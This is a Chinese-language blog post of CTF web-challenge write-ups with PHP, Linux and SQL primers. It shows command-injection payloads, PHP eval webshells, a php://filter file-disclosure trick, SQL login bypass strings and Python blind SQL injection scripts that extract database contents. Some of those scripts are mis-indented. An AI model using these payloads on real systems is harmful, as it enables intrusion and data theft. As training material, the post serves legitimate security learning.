前言

这次的web集训几乎web的各种题型都涉及到了,在这里做一个整理。

1:攻防世界 cookie

在这里插入图片描述

打开网页按F12查看cookie,打开存储,发现有网页cookie.php

在这里插入图片描述

我们去访问

在这里插入图片描述

也就是说我们需要去burpshite查看response

我的代理设置在google上

http://111.200.241.244:52084/

然后设置burpshite为Intercept is on,然后再访问

http://111.200.241.244:52084/cookie.php

找到history,点进去

在这里插入图片描述

然后全选

在这里插入图片描述

点击Go

在这里插入图片描述

得到flag

在这里插入图片描述

2:攻防世界 get_post

热知识,get请求在url处可以发送,post请求需要借助Hackbar

打开看看

在这里插入图片描述

http://111.200.241.244:50978/?%20a=1

在这里插入图片描述

打开HackBar,选择postData

在这里插入图片描述

得到 flag

在这里插入图片描述

get与post请求

get请求在url中可见,post请求在url中不可见

post请求能携带get请求中的参数

常见的http状态码

在这里插入图片描述

使用burpshite发送post请求

在url输入a=1后,使用burpshite截断并刷新页面

在这里插入图片描述

使用脚本发送

获取包中的内容

import requests
rep=requests.get("http://111.200.241.244:62607").text
print(rep)

发送请求,params表示get请求,data表示post请求

import requests
rep=requests.post("http://111.200.241.244:62607",params={"a":"1"},data={"b":"2"}).text
print(rep)

1:将Get请求改为Post请求

在这里插入图片描述

2:加入Content-Type:application/x-www-form-urlencoded,与b的值

在这里插入图片描述

3:点击发送

在这里插入图片描述

3:攻防世界baby_web

抓一下包,过程参照上一题,抓一下就抓到了

image-20220410145458787

4:攻防世界command_excusion

在这里插入图片描述

只能说老题目了,和BUUCTF exec同类题型

打开来看是ping的地址

image-20220410150302255

那我们输入127.0.0.1;ls /

查找文件目录

在这里插入图片描述

咩有发现flag,进行文件搜索

127.0.0.1|find / -name “*.txt”

在这里插入图片描述

进行查看文件

127.0.0.1;cat /home/flag.txt

在这里插入图片描述

linux基础

ping 发送icmp数据包 通常用来检测网络的连通情况

whoami 显示自身用户名称

ls:查看当前目录下的文件

pwd:查看当前所在的目录

cd:目录切换

echo:输出

cat:查看文件内容

cp:拷贝文件

cp a.txt b.txt

find:查找文件:find / -name “*.txt”

;进行多条命令的无关联执行

&& 若&&左边的命令执行失败,则不执行右边的命令

|| 若左边的命令执行成功,则右边的命令不会执行

5:【攻防世界】Webshell

打开来看:

在这里插入图片描述

发现并不会于是把他关闭好了。

END

<?php @eval($_POST['shell']);?>

看了一下别人的wp,这句话是php常见的木马的源码,通过post木马程序来实现木马的植入,eval()函数可以执行php代码。

我们使用蚁剑来看看,右键添加

在这里插入图片描述

在这里插入图片描述

添加后双击

image-20220410152631059

在这里插入图片描述

6:【攻防世界】simple_php

打开发现了一段php代码

在这里插入图片描述

show_source表示显示源码__file表示当前文件,即显示当前文件的源码

include(“config.php”);表示flag藏在config.php中。


$a=@$_GET['a'];
$b=@$_GET['b'];

表示通过get参数传进a、b变量

if($a==0 and $a){
  echo $flag1;
}


表示传入a==0的话即可获得flag,但是如果直接传入a=0,那么会变成a==0 and 0,表示为假,所以可以传入字符

在php中==表示弱等于,会将两边的变量转换为相同类型再比较,而如果是1与123aaa则转换为123,如果是aaa,则转换为0.

所以我们可以输入/?a=aaa

在这里插入图片描述

我们接下来判断b

if(is_numeric( b ) ) e x i t ( ) ; i f ( b)){ exit(); } if( b))exit();if(b>1234){
echo $flag2;
}
?>

表示如果b是数字则直接退出,同时b要大于1234

那么让b=1235a,得到flag的后半部分

在这里插入图片描述

完整flag为

在这里插入图片描述

php基础

1:申明变量与打印
<?php
$a=114;
$b=115;
echo($a+$b);
2:数组
<?php
$a=[0,"1"];
echo($a[1]);

数组中的两个元素,一个为0,另一个为字符串1

3:php用.进行字符串的拼接
<?php
$a="112";
$b="bbb";
echo($a.$b);

输出112bbb

4:php接受getPost请求
<?php
$a=$_GET['a'];
$B=$_POST['b'];
echo "a:$a";
echo "b:$b";

表示通过get请求把a参数赋值给变量a,通过post请求把b参数赋值给变量b,并打印输出。

打开浏览器:

在这里插入图片描述

5:内置函数

scandir:读取目录

<?php
var_dump(scandir("."));
print_r(scandir("."));

var_dump和print_r表示对数组进行输出

在这里插入图片描述

readfile:读取文件

<?php
echo(readfile("index.html"));

在这里插入图片描述

phpinfo:表示显示php的当前信息

也可以说查看源文档

在这里插入图片描述

include:文件包含

我们新建一个文本叫做test.txt

我们直接执行是执行不了的,但是使用文件包含后,可以将test.txt当作test.php来执行

在这里插入图片描述

image-20220413101358110

highlight:显示文件源码

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$B=$_POST['b'];
echo "a:$a";
echo "b:$b";

我们直接访问是无法显示源码的,但是加上highlight_file_(_FILE)是可以直接显示源码,FILE表示当前文件。

在这里插入图片描述

显示其他文件的源码:highlight_file(“index.php”);

eval:代码执行

<?php
eval(phpinfo());

执行函数phpinfo

<?php
eval("var_dump(scandir('.'));");

在这里插入图片描述

assert:执行代码

与eval类似,但是assert可以当作字符串后再来执行

<?php
("assert")("var_dump(scandir('.'));");

system:命令执行(系统命令)

<?php
system("whoami");

与直接在shell中输入命令相同

在这里插入图片描述

<?php
eval("system('whoami');");

注意不能内嵌双引号

file_get_contents:读取文件

与highlight类似

<?php
var_dump(file_get_contents("test.php"));

file_put_contents:写文件

第一个参数为文件名,第二个参数为文件内容

<?php
file_put_contents("botany.php","<? phpinfo();?>");

如果咩有botany.php的话将创建

6:一句话木马
<?php
eval($_GET['cmd']);
eval($_POST['cmd']);

访问后输入命令即可执行

在这里插入图片描述

7:php伪协议

php://filter/read=convert.base64-encode/resource=xxx.php

表示将php代码转化为base64的加密值

在这里插入图片描述

此处有个文件包含漏洞

输入

http://localhost/index.php?0=php://filter/convert.base64-encode/resource=test.php

在这里插入图片描述

7:【MRCTF2020】Ez_bypass

在这里插入图片描述

isset表示判断变量是否存在,如果get传入id与gg的话,就会往下走,如果没有传则进入

在这里插入图片描述

$id=$_GET['id'];
 $gg=$_GET['gg'];

表示将传入的id的值赋给变量id,传入的gg的值赋值给变量gg,判断两者的md5加密后的值是否相等

那么我们可以输入数组/? id[]=1&gg[]=2

因为md5对数组加密会返回l11

id数组和gg数组都返回l11,则两者相等。

在这里插入图片描述

然后我们可以进入下一步,使用post传入passwd,同时需要满足passwd不能是数字,而且要等于1234567,很简单,加任意字母就好

在这里插入图片描述

8:SQL注入

1:字符串截取

select substr(‘abc’,1,1);输出a

表示从a开始取一个字符

2:group_concat

把查询结果显示在一行里

select group_concat(username) from users;

3:判断密码是否正确

select * from user where username=‘admin’ and password=‘123456’;

username=aaa&password=1’or’1=1’#

4:information_schema数据库

查询有用信息

select * from information_schema.tables;

查询表名

select group_concat(table_name) from information_schema.tables where table_schema=‘test’;

根据表名查询列名

select group_concat(column_name) from information_schema.columns where table_name=‘user’;

union查询:select * from users union select 1,2;

select * from users union select database(),2;

通过orderby是否报错判断列数

select * from user order by 2;

查询数据库还有哪些表

select * from users union select(select group_concat(table_name)) from information_schema.tables where table_schema=data;

groupconcat 是为了显示一行,如果不显示一行会报错

联合查询表中还有哪些字段

select * from users union select (select group_concat(column_name) from information_schema.columns where table_name=‘表名’),2;

bool盲注中一般会用到if

select if(1=1,1,2)

1=1成立执行1,不成立执行2

查询数据库表名的第一个字母

select *substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)

爆破表名,根据f的ascii码为102

seelct * from users where if(((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)))=102),1,0);

通过脚本实现爆破

查询表

import requests
url="http://localhost/test.php"
table_name=""
for i in range(1,30):
    for j in range(32,127):
        payload=f"1' or if(((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)))={j}),1,0)#"
        data ={
            "username":"root",
            "password":payload
        }
rep=requests.post(url=url,data=data).text
if "登录成功" in rep:
    table_name+=chr(j)
print(table_name)

查询字段

import requests
url="http://localhost/test.php"
table_name=""
for i in range(1,30):
    for j in range(32,127):
        payload=f"1' or if(((select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='表名'),{i},1)))={j}),1,0)#"
        data ={
            "username":"root",
            "password":payload
        }
rep=requests.post(url=url,data=data).text
if "登录成功" in rep:
    table_name+=chr(j)
print(table_name)

查询字段的值

import requests
url="http://localhost/test.php"
table_name=""
for i in range(1,30):
    for j in range(32,127):
        payload=f"1' or if(((select ascii(substr((select flag from flaggggg),{i},1)))={j}),1,0)#"
        data ={
            "username":"root",
            "password":payload
        }
rep=requests.post(url=url,data=data).text
if "登录成功" in rep:
    table_name+=chr(j)
print(table_name)

时间盲注

延时1s

select sleep(1);

select if(1=1,sleep(1,0));表示如果1=1,则延时1s,失败了则不显示

import requests
import time
url="http://localhost/test.php"
table_name=""
for i in range(1,30):
    for j in range(32,127):
        payload=f"1' or if(((select ascii(substr((select flag from flaggggg),{i},1)))={j}),sleep(1),0)#"
        data ={
            "username":"root",
            "password":payload
        }
        t1=time.time()
rep=requests.post(url=url,data=data).text
t2=time.time()
if t2-t1>1:
    table_name+=chr(j)
print(table_name)

9:一道游戏题

链接:http://42.192.42.48/

打开按F12,选择源代码并进行暂停

https://raw.githubusercontent.com/lllwky/botany/main/img/image-20220410164102192.png

找到脚本并将debug改为1,就可以随意的debug了

在这里插入图片描述

浏览变量发现有个winTimer,有一个变量叫做endTime为0,我们改为1,则游戏结束出现falg

第二种方法,这是一个闯关小游戏,我们可以选择跳过关卡,改变生命值,同时让boss死掉

打开game.js,发现其中一个变量是health,在PlayerData中

在这里插入图片描述

我们找到那里new出PlayData,这样可以根据参数调用属性

在这里插入图片描述

在控制台输入

playerData.health=50;

发现没用,还是需要下断点。

在health那里点一下,下个断点然后刷新页面

在这里插入图片描述

然后我们往下走,使光标停在括号外

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zy4YjIiN-1650159967165)(https://raw.githubusercontent.com/lllwky/botany/main/img/image-20220410170537962.png)]

即可在控制台直接修改

在这里插入图片描述

在这里插入图片描述

然后可以运行啦,此时我们的生命已经变成五十了。

在这里插入图片描述

我们需要先跟着小黄人跑到第一关,右上角显示level1

我们在game.js中找到一个函数叫nextLever,意思是调到下一个,我们可以直接在控制台执行

在这里插入图片描述

输入NextLevel()九次到达最后关卡:

在这里插入图片描述

然后点击运行玩一下直到遇见boss暂停

在这里插入图片描述

然后在控制台输入Boss,看一下属性,看到有Kill,执行boss.Kill()

即可得到flag
在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐